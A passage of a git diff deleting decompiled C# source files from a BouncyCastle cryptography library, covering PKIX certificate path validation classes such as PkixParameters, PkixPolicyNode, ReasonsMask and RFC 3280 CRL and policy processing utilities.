permittedSubtreesURI.ToString() + "\n"; - } - if (permittedSubtreesIP != null) - { - text += "IP:\n"; - text = text + StringifyIPCollection(permittedSubtreesIP) + "\n"; - } - text += "excluded:\n"; - if (!excludedSubtreesDN.IsEmpty) - { - text += "DN:\n"; - text = text + excludedSubtreesDN.ToString() + "\n"; - } - if (!excludedSubtreesDNS.IsEmpty) - { - text += "DNS:\n"; - text = text + excludedSubtreesDNS.ToString() + "\n"; - } - if (!excludedSubtreesEmail.IsEmpty) - { - text += "Email:\n"; - text = text + excludedSubtreesEmail.ToString() + "\n"; - } - if (!excludedSubtreesURI.IsEmpty) - { - text += "URI:\n"; - text = text + excludedSubtreesURI.ToString() + "\n"; - } - if (!excludedSubtreesIP.IsEmpty) - { - text += "IP:\n"; - text = text + StringifyIPCollection(excludedSubtreesIP) + "\n"; - } - return text; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixNameConstraintValidatorException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixNameConstraintValidatorException.cs deleted file mode 100644 index ec4e8d2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixNameConstraintValidatorException.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Pkix; - -[Serializable] -public class PkixNameConstraintValidatorException : Exception -{ - public PkixNameConstraintValidatorException(string msg) - : base(msg) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixParameters.cs deleted file mode 100644 index 3d25e4d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixParameters.cs +++ /dev/null @@ -1,457 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixParameters -{ - public const int PkixValidityModel = 0; - - public const int ChainValidityModel = 1; - - private ISet trustAnchors; - - private DateTimeObject date; - - private IList certPathCheckers; - - private bool revocationEnabled = true; - - private ISet initialPolicies; - - private bool explicitPolicyRequired = false; - - private bool anyPolicyInhibited = false; - - private bool policyMappingInhibited = false; - - private bool policyQualifiersRejected = true; - - private IX509Selector certSelector; - - private IList stores; - - private IX509Selector selector; - - private bool additionalLocationsEnabled; - - private IList additionalStores; - - private ISet trustedACIssuers; - - private ISet necessaryACAttributes; - - private ISet prohibitedACAttributes; - - private ISet attrCertCheckers; - - private int validityModel = 0; - - private bool useDeltas = false; - - public virtual bool IsRevocationEnabled - { - get - { - return revocationEnabled; - } - set - { - revocationEnabled = value; - } - } - - public virtual bool IsExplicitPolicyRequired - { - get - { - return explicitPolicyRequired; - } - set - { - explicitPolicyRequired = value; - } - } - - public virtual bool IsAnyPolicyInhibited - { - get - { - return anyPolicyInhibited; - } - set - { - anyPolicyInhibited = value; - } - } - - public virtual bool IsPolicyMappingInhibited - { - get - { - return policyMappingInhibited; - } - set - { - policyMappingInhibited = value; - } - } - - public virtual bool IsPolicyQualifiersRejected - { - get - { - return policyQualifiersRejected; - } - set - { - policyQualifiersRejected = value; - } - } - - public virtual DateTimeObject Date - { - get - { - return date; - } - set - { - date = value; - } - } - - public virtual bool IsUseDeltasEnabled - { - get - { - return useDeltas; - } - set - { - useDeltas = value; - } - } - - public virtual int ValidityModel - { - get - { - return validityModel; - } - set - { - validityModel = value; - } - } - - public virtual bool IsAdditionalLocationsEnabled => additionalLocationsEnabled; - - public PkixParameters(ISet trustAnchors) - { - SetTrustAnchors(trustAnchors); - initialPolicies = new HashSet(); - certPathCheckers = Platform.CreateArrayList(); - stores = Platform.CreateArrayList(); - additionalStores = Platform.CreateArrayList(); - trustedACIssuers = new HashSet(); - necessaryACAttributes = new HashSet(); - prohibitedACAttributes = new HashSet(); - attrCertCheckers = new HashSet(); - } - - public virtual ISet GetTrustAnchors() - { - return new HashSet(trustAnchors); - } - - public virtual void SetTrustAnchors(ISet tas) - { - if (tas == null) - { - throw new ArgumentNullException("value"); - } - if (tas.IsEmpty) - { - throw new ArgumentException("non-empty set required", "value"); - } - trustAnchors = new HashSet(); - foreach (TrustAnchor ta in tas) - { - if (ta != null) - { - trustAnchors.Add(ta); - } - } - } - - public virtual X509CertStoreSelector GetTargetCertConstraints() - { - if (certSelector == null) - { - return null; - } - return (X509CertStoreSelector)certSelector.Clone(); - } - - public virtual void SetTargetCertConstraints(IX509Selector selector) - { - if (selector == null) - { - certSelector = null; - } - else - { - certSelector = (IX509Selector)selector.Clone(); - } - } - - public virtual ISet GetInitialPolicies() - { - ISet s = initialPolicies; - if (initialPolicies == null) - { - s = new HashSet(); - } - return new HashSet(s); - } - - public virtual void SetInitialPolicies(ISet initialPolicies) - { - this.initialPolicies = new HashSet(); - if (initialPolicies == null) - { - return; - } - foreach (string initialPolicy in initialPolicies) - { - if (initialPolicy != null) - { - this.initialPolicies.Add(initialPolicy); - } - } - } - - public virtual void SetCertPathCheckers(IList checkers) - { - certPathCheckers = Platform.CreateArrayList(); - if (checkers == null) - { - return; - } - foreach (PkixCertPathChecker checker in checkers) - { - certPathCheckers.Add(checker.Clone()); - } - } - - public virtual IList GetCertPathCheckers() - { - IList list = Platform.CreateArrayList(); - foreach (PkixCertPathChecker certPathChecker in certPathCheckers) - { - list.Add(certPathChecker.Clone()); - } - return list; - } - - public virtual void AddCertPathChecker(PkixCertPathChecker checker) - { - if (checker != null) - { - certPathCheckers.Add(checker.Clone()); - } - } - - public virtual object Clone() - { - PkixParameters pkixParameters = new PkixParameters(GetTrustAnchors()); - pkixParameters.SetParams(this); - return pkixParameters; - } - - protected virtual void SetParams(PkixParameters parameters) - { - Date = parameters.Date; - SetCertPathCheckers(parameters.GetCertPathCheckers()); - IsAnyPolicyInhibited = parameters.IsAnyPolicyInhibited; - IsExplicitPolicyRequired = parameters.IsExplicitPolicyRequired; - IsPolicyMappingInhibited = parameters.IsPolicyMappingInhibited; - IsRevocationEnabled = parameters.IsRevocationEnabled; - SetInitialPolicies(parameters.GetInitialPolicies()); - IsPolicyQualifiersRejected = parameters.IsPolicyQualifiersRejected; - SetTargetCertConstraints(parameters.GetTargetCertConstraints()); - SetTrustAnchors(parameters.GetTrustAnchors()); - validityModel = parameters.validityModel; - useDeltas = parameters.useDeltas; - additionalLocationsEnabled = parameters.additionalLocationsEnabled; - selector = ((parameters.selector == null) ? null : ((IX509Selector)parameters.selector.Clone())); - stores = Platform.CreateArrayList(parameters.stores); - additionalStores = Platform.CreateArrayList(parameters.additionalStores); - trustedACIssuers = new HashSet(parameters.trustedACIssuers); - prohibitedACAttributes = new HashSet(parameters.prohibitedACAttributes); - necessaryACAttributes = new HashSet(parameters.necessaryACAttributes); - attrCertCheckers = new HashSet(parameters.attrCertCheckers); - } - - public virtual void SetStores(IList stores) - { - if (stores == null) - { - this.stores = Platform.CreateArrayList(); - return; - } - foreach (object store in stores) - { - if (!(store is IX509Store)) - { - throw new InvalidCastException("All elements of list must be of type " + typeof(IX509Store).FullName); - } - } - this.stores = Platform.CreateArrayList(stores); - } - - public virtual void AddStore(IX509Store store) - { - if (store != null) - { - stores.Add(store); - } - } - - public virtual void AddAdditionalStore(IX509Store store) - { - if (store != null) - { - additionalStores.Add(store); - } - } - - public virtual IList GetAdditionalStores() - { - return Platform.CreateArrayList(additionalStores); - } - - public virtual IList GetStores() - { - return Platform.CreateArrayList(stores); - } - - public virtual void SetAdditionalLocationsEnabled(bool enabled) - { - additionalLocationsEnabled = enabled; - } - - public virtual IX509Selector GetTargetConstraints() - { - if (selector != null) - { - return (IX509Selector)selector.Clone(); - } - return null; - } - - public virtual void SetTargetConstraints(IX509Selector selector) - { - if (selector != null) - { - this.selector = (IX509Selector)selector.Clone(); - } - else - { - this.selector = null; - } - } - - public virtual ISet GetTrustedACIssuers() - { - return new HashSet(trustedACIssuers); - } - - public virtual void SetTrustedACIssuers(ISet trustedACIssuers) - { - if (trustedACIssuers == null) - { - this.trustedACIssuers = new HashSet(); - return; - } - foreach (object trustedACIssuer in trustedACIssuers) - { - if (!(trustedACIssuer is TrustAnchor)) - { - throw new InvalidCastException("All elements of set must be of type " + typeof(TrustAnchor).FullName + "."); - } - } - this.trustedACIssuers = new HashSet(trustedACIssuers); - } - - public virtual ISet GetNecessaryACAttributes() - { - return new HashSet(necessaryACAttributes); - } - - public virtual void SetNecessaryACAttributes(ISet necessaryACAttributes) - { - if (necessaryACAttributes == null) - { - this.necessaryACAttributes = new HashSet(); - return; - } - foreach (object necessaryACAttribute in necessaryACAttributes) - { - if (!(necessaryACAttribute is string)) - { - throw new InvalidCastException("All elements of set must be of type string."); - } - } - this.necessaryACAttributes = new HashSet(necessaryACAttributes); - } - - public virtual ISet GetProhibitedACAttributes() - { - return new HashSet(prohibitedACAttributes); - } - - public virtual void SetProhibitedACAttributes(ISet prohibitedACAttributes) - { - if (prohibitedACAttributes == null) - { - this.prohibitedACAttributes = new HashSet(); - return; - } - foreach (object prohibitedACAttribute in prohibitedACAttributes) - { - if (!(prohibitedACAttribute is string)) - { - throw new InvalidCastException("All elements of set must be of type string."); - } - } - this.prohibitedACAttributes = new HashSet(prohibitedACAttributes); - } - - public virtual ISet GetAttrCertCheckers() - { - return new HashSet(attrCertCheckers); - } - - public virtual void SetAttrCertCheckers(ISet attrCertCheckers) - { - if (attrCertCheckers == null) - { - this.attrCertCheckers = new HashSet(); - return; - } - foreach (object attrCertChecker in attrCertCheckers) - { - if (!(attrCertChecker is PkixAttrCertChecker)) - { - throw new InvalidCastException("All elements of set must be of type " + typeof(PkixAttrCertChecker).FullName + "."); - } - } - this.attrCertCheckers = new HashSet(attrCertCheckers); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixPolicyNode.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixPolicyNode.cs deleted file mode 100644 index 573b29b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixPolicyNode.cs +++ /dev/null @@ -1,137 +0,0 @@ -using System.Collections; -using System.Text; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Pkix; - -public class PkixPolicyNode -{ - protected IList mChildren; - - protected int mDepth; - - protected ISet mExpectedPolicies; - - protected PkixPolicyNode mParent; - - protected ISet mPolicyQualifiers; - - protected string mValidPolicy; - - protected bool mCritical; - - public virtual int Depth => mDepth; - - public virtual IEnumerable Children => new EnumerableProxy(mChildren); - - public virtual bool IsCritical - { - get - { - return mCritical; - } - set - { - mCritical = value; - } - } - - public virtual ISet PolicyQualifiers => new HashSet(mPolicyQualifiers); - - public virtual string ValidPolicy => mValidPolicy; - - public virtual bool HasChildren => mChildren.Count != 0; - - public virtual ISet ExpectedPolicies - { - get - { - return new HashSet(mExpectedPolicies); - } - set - { - mExpectedPolicies = new HashSet(value); - } - } - - public virtual PkixPolicyNode Parent - { - get - { - return mParent; - } - set - { - mParent = value; - } - } - - public PkixPolicyNode(IList children, int depth, ISet expectedPolicies, PkixPolicyNode parent, ISet policyQualifiers, string validPolicy, bool critical) - { - if (children == null) - { - mChildren = Platform.CreateArrayList(); - } - else - { - mChildren = Platform.CreateArrayList(children); - } - mDepth = depth; - mExpectedPolicies = expectedPolicies; - mParent = parent; - mPolicyQualifiers = policyQualifiers; - mValidPolicy = validPolicy; - mCritical = critical; - } - - public virtual void AddChild(PkixPolicyNode child) - { - child.Parent = this; - mChildren.Add(child); - } - - public virtual void RemoveChild(PkixPolicyNode child) - { - mChildren.Remove(child); - } - - public override string ToString() - { - return ToString(""); - } - - public virtual string ToString(string indent) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(indent); - stringBuilder.Append(mValidPolicy); - stringBuilder.Append(" {"); - stringBuilder.Append(Platform.NewLine); - foreach (PkixPolicyNode mChild in mChildren) - { - stringBuilder.Append(mChild.ToString(indent + " ")); - } - stringBuilder.Append(indent); - stringBuilder.Append("}"); - stringBuilder.Append(Platform.NewLine); - return stringBuilder.ToString(); - } - - public virtual object Clone() - { - return Copy(); - } - - public virtual PkixPolicyNode Copy() - { - PkixPolicyNode pkixPolicyNode = new PkixPolicyNode(Platform.CreateArrayList(), mDepth, new HashSet(mExpectedPolicies), null, new HashSet(mPolicyQualifiers), mValidPolicy, mCritical); - foreach (PkixPolicyNode mChild in mChildren) - { - PkixPolicyNode pkixPolicyNode3 = mChild.Copy(); - pkixPolicyNode3.Parent = pkixPolicyNode; - pkixPolicyNode.AddChild(pkixPolicyNode3); - } - return pkixPolicyNode; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/ReasonsMask.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/ReasonsMask.cs deleted file mode 100644 index f50ce6a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/ReasonsMask.cs +++ /dev/null @@ -1,41 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Pkix; - -internal class ReasonsMask -{ - private int _reasons; - - internal static readonly ReasonsMask AllReasons = new ReasonsMask(33023); - - internal bool IsAllReasons => _reasons == AllReasons._reasons; - - public ReasonFlags Reasons => new ReasonFlags(_reasons); - - internal ReasonsMask(int reasons) - { - _reasons = reasons; - } - - internal ReasonsMask() - : this(0) - { - } - - internal void AddReasons(ReasonsMask mask) - { - _reasons |= mask.Reasons.IntValue; - } - - internal ReasonsMask Intersect(ReasonsMask mask) - { - ReasonsMask reasonsMask = new ReasonsMask(); - reasonsMask.AddReasons(new ReasonsMask(_reasons & mask.Reasons.IntValue)); - return reasonsMask; - } - - internal bool HasNewReasons(ReasonsMask mask) - { - return (_reasons | (mask.Reasons.IntValue ^ _reasons)) != 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/Rfc3280CertPathUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/Rfc3280CertPathUtilities.cs deleted file mode 100644 index 2164d63..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/Rfc3280CertPathUtilities.cs +++ /dev/null @@ -1,1692 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class Rfc3280CertPathUtilities -{ - private static readonly PkixCrlUtilities CrlUtilities = new PkixCrlUtilities(); - - internal static readonly string ANY_POLICY = "2.5.29.32.0"; - - internal static readonly int KEY_CERT_SIGN = 5; - - internal static readonly int CRL_SIGN = 6; - - internal static readonly string[] CrlReasons = new string[11] - { - "unspecified", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "unknown", "removeFromCRL", "privilegeWithdrawn", - "aACompromise" - }; - - internal static void ProcessCrlB2(DistributionPoint dp, object cert, X509Crl crl) - { - IssuingDistributionPoint issuingDistributionPoint = null; - try - { - issuingDistributionPoint = IssuingDistributionPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(crl, X509Extensions.IssuingDistributionPoint)); - } - catch (Exception innerException) - { - throw new Exception("0 Issuing distribution point extension could not be decoded.", innerException); - } - if (issuingDistributionPoint == null) - { - return; - } - if (issuingDistributionPoint.DistributionPoint != null) - { - DistributionPointName distributionPoint = IssuingDistributionPoint.GetInstance(issuingDistributionPoint).DistributionPoint; - IList list = Platform.CreateArrayList(); - if (distributionPoint.PointType == 0) - { - GeneralName[] names = GeneralNames.GetInstance(distributionPoint.Name).GetNames(); - for (int i = 0; i < names.Length; i++) - { - list.Add(names[i]); - } - } - if (distributionPoint.PointType == 1) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - try - { - IEnumerator enumerator = Asn1Sequence.GetInstance(Asn1Object.FromByteArray(crl.IssuerDN.GetEncoded())).GetEnumerator(); - while (enumerator.MoveNext()) - { - asn1EncodableVector.Add((Asn1Encodable)enumerator.Current); - } - } - catch (IOException innerException2) - { - throw new Exception("Could not read CRL issuer.", innerException2); - } - asn1EncodableVector.Add(distributionPoint.Name); - list.Add(new GeneralName(X509Name.GetInstance(new DerSequence(asn1EncodableVector)))); - } - bool flag = false; - if (dp.DistributionPointName != null) - { - distributionPoint = dp.DistributionPointName; - GeneralName[] array = null; - if (distributionPoint.PointType == 0) - { - array = GeneralNames.GetInstance(distributionPoint.Name).GetNames(); - } - if (distributionPoint.PointType == 1) - { - if (dp.CrlIssuer != null) - { - array = dp.CrlIssuer.GetNames(); - } - else - { - array = new GeneralName[1]; - try - { - array[0] = new GeneralName(PkixCertPathValidatorUtilities.GetIssuerPrincipal(cert)); - } - catch (IOException innerException3) - { - throw new Exception("Could not read certificate issuer.", innerException3); - } - } - for (int j = 0; j < array.Length; j++) - { - IEnumerator enumerator2 = Asn1Sequence.GetInstance(array[j].Name.ToAsn1Object()).GetEnumerator(); - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - while (enumerator2.MoveNext()) - { - asn1EncodableVector2.Add((Asn1Encodable)enumerator2.Current); - } - asn1EncodableVector2.Add(distributionPoint.Name); - array[j] = new GeneralName(X509Name.GetInstance(new DerSequence(asn1EncodableVector2))); - } - } - if (array != null) - { - for (int k = 0; k < array.Length; k++) - { - if (list.Contains(array[k])) - { - flag = true; - break; - } - } - } - if (!flag) - { - throw new Exception("No match for certificate CRL issuing distribution point name to cRLIssuer CRL distribution point."); - } - } - else - { - if (dp.CrlIssuer == null) - { - throw new Exception("Either the cRLIssuer or the distributionPoint field must be contained in DistributionPoint."); - } - GeneralName[] names2 = dp.CrlIssuer.GetNames(); - for (int l = 0; l < names2.Length; l++) - { - if (list.Contains(names2[l])) - { - flag = true; - break; - } - } - if (!flag) - { - throw new Exception("No match for certificate CRL issuing distribution point name to cRLIssuer CRL distribution point."); - } - } - } - BasicConstraints basicConstraints = null; - try - { - basicConstraints = BasicConstraints.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue((IX509Extension)cert, X509Extensions.BasicConstraints)); - } - catch (Exception innerException4) - { - throw new Exception("Basic constraints extension could not be decoded.", innerException4); - } - if (issuingDistributionPoint.OnlyContainsUserCerts && basicConstraints != null && basicConstraints.IsCA()) - { - throw new Exception("CA Cert CRL only contains user certificates."); - } - if (issuingDistributionPoint.OnlyContainsCACerts && (basicConstraints == null || !basicConstraints.IsCA())) - { - throw new Exception("End CRL only contains CA certificates."); - } - if (issuingDistributionPoint.OnlyContainsAttributeCerts) - { - throw new Exception("onlyContainsAttributeCerts boolean is asserted."); - } - } - - internal static void ProcessCertBC(PkixCertPath certPath, int index, PkixNameConstraintValidator nameConstraintValidator) - { - IList certificates = certPath.Certificates; - X509Certificate x509Certificate = (X509Certificate)certificates[index]; - int count = certificates.Count; - int num = count - index; - if (PkixCertPathValidatorUtilities.IsSelfIssued(x509Certificate) && num < count) - { - return; - } - X509Name subjectDN = x509Certificate.SubjectDN; - Asn1InputStream asn1InputStream = new Asn1InputStream(subjectDN.GetEncoded()); - Asn1Sequence instance; - try - { - instance = Asn1Sequence.GetInstance(asn1InputStream.ReadObject()); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Exception extracting subject name when checking subtrees.", cause, certPath, index); - } - try - { - nameConstraintValidator.CheckPermittedDN(instance); - nameConstraintValidator.CheckExcludedDN(instance); - } - catch (PkixNameConstraintValidatorException cause2) - { - throw new PkixCertPathValidatorException("Subtree check for certificate subject failed.", cause2, certPath, index); - } - GeneralNames generalNames = null; - try - { - generalNames = GeneralNames.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(x509Certificate, X509Extensions.SubjectAlternativeName)); - } - catch (Exception cause3) - { - throw new PkixCertPathValidatorException("Subject alternative name extension could not be decoded.", cause3, certPath, index); - } - IList valueList = X509Name.GetInstance(instance).GetValueList(X509Name.EmailAddress); - foreach (string item in valueList) - { - GeneralName name2 = new GeneralName(1, item); - try - { - nameConstraintValidator.checkPermitted(name2); - nameConstraintValidator.checkExcluded(name2); - } - catch (PkixNameConstraintValidatorException cause4) - { - throw new PkixCertPathValidatorException("Subtree check for certificate subject alternative email failed.", cause4, certPath, index); - } - } - if (generalNames == null) - { - return; - } - GeneralName[] array = null; - try - { - array = generalNames.GetNames(); - } - catch (Exception cause5) - { - throw new PkixCertPathValidatorException("Subject alternative name contents could not be decoded.", cause5, certPath, index); - } - GeneralName[] array2 = array; - foreach (GeneralName name3 in array2) - { - try - { - nameConstraintValidator.checkPermitted(name3); - nameConstraintValidator.checkExcluded(name3); - } - catch (PkixNameConstraintValidatorException cause6) - { - throw new PkixCertPathValidatorException("Subtree check for certificate subject alternative name failed.", cause6, certPath, index); - } - } - } - - internal static void PrepareNextCertA(PkixCertPath certPath, int index) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.PolicyMappings)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Policy mappings extension could not be decoded.", cause, certPath, index); - } - if (asn1Sequence == null) - { - return; - } - Asn1Sequence asn1Sequence2 = asn1Sequence; - for (int i = 0; i < asn1Sequence2.Count; i++) - { - DerObjectIdentifier derObjectIdentifier = null; - DerObjectIdentifier derObjectIdentifier2 = null; - try - { - Asn1Sequence instance = Asn1Sequence.GetInstance(asn1Sequence2[i]); - derObjectIdentifier = DerObjectIdentifier.GetInstance(instance[0]); - derObjectIdentifier2 = DerObjectIdentifier.GetInstance(instance[1]); - } - catch (Exception cause2) - { - throw new PkixCertPathValidatorException("Policy mappings extension contents could not be decoded.", cause2, certPath, index); - } - if (ANY_POLICY.Equals(derObjectIdentifier.Id)) - { - throw new PkixCertPathValidatorException("IssuerDomainPolicy is anyPolicy", null, certPath, index); - } - if (ANY_POLICY.Equals(derObjectIdentifier2.Id)) - { - throw new PkixCertPathValidatorException("SubjectDomainPolicy is anyPolicy,", null, certPath, index); - } - } - } - - internal static PkixPolicyNode ProcessCertD(PkixCertPath certPath, int index, ISet acceptablePolicies, PkixPolicyNode validPolicyTree, IList[] policyNodes, int inhibitAnyPolicy) - { - IList certificates = certPath.Certificates; - X509Certificate x509Certificate = (X509Certificate)certificates[index]; - int count = certificates.Count; - int num = count - index; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(x509Certificate, X509Extensions.CertificatePolicies)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Could not read certificate policies extension from certificate.", cause, certPath, index); - } - if (asn1Sequence != null && validPolicyTree != null) - { - ISet set = new HashSet(); - foreach (Asn1Encodable item in asn1Sequence) - { - PolicyInformation instance = PolicyInformation.GetInstance(item.ToAsn1Object()); - DerObjectIdentifier policyIdentifier = instance.PolicyIdentifier; - set.Add(policyIdentifier.Id); - if (!ANY_POLICY.Equals(policyIdentifier.Id)) - { - ISet set2 = null; - try - { - set2 = PkixCertPathValidatorUtilities.GetQualifierSet(instance.PolicyQualifiers); - } - catch (PkixCertPathValidatorException cause2) - { - throw new PkixCertPathValidatorException("Policy qualifier info set could not be build.", cause2, certPath, index); - } - if (!PkixCertPathValidatorUtilities.ProcessCertD1i(num, policyNodes, policyIdentifier, set2)) - { - PkixCertPathValidatorUtilities.ProcessCertD1ii(num, policyNodes, policyIdentifier, set2); - } - } - } - if (acceptablePolicies.IsEmpty || acceptablePolicies.Contains(ANY_POLICY)) - { - acceptablePolicies.Clear(); - acceptablePolicies.AddAll(set); - } - else - { - ISet set3 = new HashSet(); - foreach (object acceptablePolicy in acceptablePolicies) - { - if (set.Contains(acceptablePolicy)) - { - set3.Add(acceptablePolicy); - } - } - acceptablePolicies.Clear(); - acceptablePolicies.AddAll(set3); - } - if (inhibitAnyPolicy > 0 || (num < count && PkixCertPathValidatorUtilities.IsSelfIssued(x509Certificate))) - { - foreach (Asn1Encodable item2 in asn1Sequence) - { - PolicyInformation instance2 = PolicyInformation.GetInstance(item2.ToAsn1Object()); - if (!ANY_POLICY.Equals(instance2.PolicyIdentifier.Id)) - { - continue; - } - ISet qualifierSet = PkixCertPathValidatorUtilities.GetQualifierSet(instance2.PolicyQualifiers); - IList list = policyNodes[num - 1]; - for (int i = 0; i < list.Count; i++) - { - PkixPolicyNode pkixPolicyNode = (PkixPolicyNode)list[i]; - IEnumerator enumerator2 = pkixPolicyNode.ExpectedPolicies.GetEnumerator(); - while (enumerator2.MoveNext()) - { - object current2 = enumerator2.Current; - string text; - if (current2 is string) - { - text = (string)current2; - } - else - { - if (!(current2 is DerObjectIdentifier)) - { - continue; - } - text = ((DerObjectIdentifier)current2).Id; - } - bool flag = false; - foreach (PkixPolicyNode child in pkixPolicyNode.Children) - { - if (text.Equals(child.ValidPolicy)) - { - flag = true; - } - } - if (!flag) - { - ISet set4 = new HashSet(); - set4.Add(text); - PkixPolicyNode pkixPolicyNode3 = new PkixPolicyNode(Platform.CreateArrayList(), num, set4, pkixPolicyNode, qualifierSet, text, critical: false); - pkixPolicyNode.AddChild(pkixPolicyNode3); - policyNodes[num].Add(pkixPolicyNode3); - } - } - } - break; - } - } - PkixPolicyNode pkixPolicyNode4 = validPolicyTree; - for (int num2 = num - 1; num2 >= 0; num2--) - { - IList list2 = policyNodes[num2]; - for (int j = 0; j < list2.Count; j++) - { - PkixPolicyNode pkixPolicyNode5 = (PkixPolicyNode)list2[j]; - if (!pkixPolicyNode5.HasChildren) - { - pkixPolicyNode4 = PkixCertPathValidatorUtilities.RemovePolicyNode(pkixPolicyNode4, policyNodes, pkixPolicyNode5); - if (pkixPolicyNode4 == null) - { - break; - } - } - } - } - ISet criticalExtensionOids = x509Certificate.GetCriticalExtensionOids(); - if (criticalExtensionOids != null) - { - bool isCritical = criticalExtensionOids.Contains(X509Extensions.CertificatePolicies.Id); - IList list3 = policyNodes[num]; - for (int k = 0; k < list3.Count; k++) - { - PkixPolicyNode pkixPolicyNode6 = (PkixPolicyNode)list3[k]; - pkixPolicyNode6.IsCritical = isCritical; - } - } - return pkixPolicyNode4; - } - return null; - } - - internal static void ProcessCrlB1(DistributionPoint dp, object cert, X509Crl crl) - { - Asn1Object extensionValue = PkixCertPathValidatorUtilities.GetExtensionValue(crl, X509Extensions.IssuingDistributionPoint); - bool flag = false; - if (extensionValue != null && IssuingDistributionPoint.GetInstance(extensionValue).IsIndirectCrl) - { - flag = true; - } - byte[] encoded = crl.IssuerDN.GetEncoded(); - bool flag2 = false; - if (dp.CrlIssuer != null) - { - GeneralName[] names = dp.CrlIssuer.GetNames(); - for (int i = 0; i < names.Length; i++) - { - if (names[i].TagNo != 4) - { - continue; - } - try - { - if (Arrays.AreEqual(names[i].Name.ToAsn1Object().GetEncoded(), encoded)) - { - flag2 = true; - } - } - catch (IOException innerException) - { - throw new Exception("CRL issuer information from distribution point cannot be decoded.", innerException); - } - } - if (flag2 && !flag) - { - throw new Exception("Distribution point contains cRLIssuer field but CRL is not indirect."); - } - if (!flag2) - { - throw new Exception("CRL issuer of CRL does not match CRL issuer of distribution point."); - } - } - else if (crl.IssuerDN.Equivalent(PkixCertPathValidatorUtilities.GetIssuerPrincipal(cert), inOrder: true)) - { - flag2 = true; - } - if (!flag2) - { - throw new Exception("Cannot find matching CRL issuer for certificate."); - } - } - - internal static ReasonsMask ProcessCrlD(X509Crl crl, DistributionPoint dp) - { - IssuingDistributionPoint issuingDistributionPoint = null; - try - { - issuingDistributionPoint = IssuingDistributionPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(crl, X509Extensions.IssuingDistributionPoint)); - } - catch (Exception innerException) - { - throw new Exception("issuing distribution point extension could not be decoded.", innerException); - } - if (issuingDistributionPoint != null && issuingDistributionPoint.OnlySomeReasons != null && dp.Reasons != null) - { - return new ReasonsMask(dp.Reasons.IntValue).Intersect(new ReasonsMask(issuingDistributionPoint.OnlySomeReasons.IntValue)); - } - if ((issuingDistributionPoint == null || issuingDistributionPoint.OnlySomeReasons == null) && dp.Reasons == null) - { - return ReasonsMask.AllReasons; - } - ReasonsMask reasonsMask = null; - reasonsMask = ((dp.Reasons != null) ? new ReasonsMask(dp.Reasons.IntValue) : ReasonsMask.AllReasons); - ReasonsMask reasonsMask2 = null; - reasonsMask2 = ((issuingDistributionPoint != null) ? new ReasonsMask(issuingDistributionPoint.OnlySomeReasons.IntValue) : ReasonsMask.AllReasons); - return reasonsMask.Intersect(reasonsMask2); - } - - internal static ISet ProcessCrlF(X509Crl crl, object cert, X509Certificate defaultCRLSignCert, AsymmetricKeyParameter defaultCRLSignKey, PkixParameters paramsPKIX, IList certPathCerts) - { - X509CertStoreSelector x509CertStoreSelector = new X509CertStoreSelector(); - try - { - x509CertStoreSelector.Subject = crl.IssuerDN; - } - catch (IOException innerException) - { - throw new Exception("Subject criteria for certificate selector to find issuer certificate for CRL could not be set.", innerException); - } - IList list = Platform.CreateArrayList(); - try - { - CollectionUtilities.AddRange(list, 